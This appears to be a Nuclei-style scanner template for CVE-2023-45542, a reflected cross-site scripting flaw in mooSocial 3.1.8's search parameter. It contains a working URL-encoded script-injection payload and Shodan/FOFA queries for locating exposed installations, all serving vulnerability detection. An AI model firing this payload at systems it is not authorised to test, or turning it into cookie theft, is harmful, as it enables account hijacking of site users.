id: CVE-2023-45542 info: name: MooSocial 3.1.8 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | A reflected cross-site scripting (XSS) vulnerability exisits in the q parameter on search function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL. impact: | Unauthenticated attackers can inject malicious JavaScript through the q parameter in search functionality to steal session cookies and impersonate victim accounts on the MooSocial platform. remediation: | Update mooSocial to a version newer than 3.1.8 that properly sanitizes the q parameter in search functionality and encodes output to prevent reflected XSS attacks. reference: - https://github.com/ahrixia/CVE-2023-45542 - https://nvd.nist.gov/vuln/detail/CVE-2023-45542 - https://github.com/nomi-sec/PoC-in-GitHub classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-45542 cwe-id: CWE-79 epss-score: 0.01635 epss-percentile: 0.73279 cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: moosocial product: moosocial shodan-query: http.favicon.hash:"702863115" fofa-query: icon_hash="702863115" tags: cve2023,cve,xss,moosocial,vuln http: - method: GET path: - "{{BaseURL}}/search/index/?q=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "text/html")' - 'contains_all(body, "", "mooSocial")' condition: and # digest: 4b0a00483046022100cc916a041c85109a91df30dd5f1761d1a658d6f2441ec78f00c79c1739eef7ab022100fa811a65b79479816372fe554e69717b6de33e57013c9f383a5042fc928afef0:922c64590222798bb761d5b6d8e72950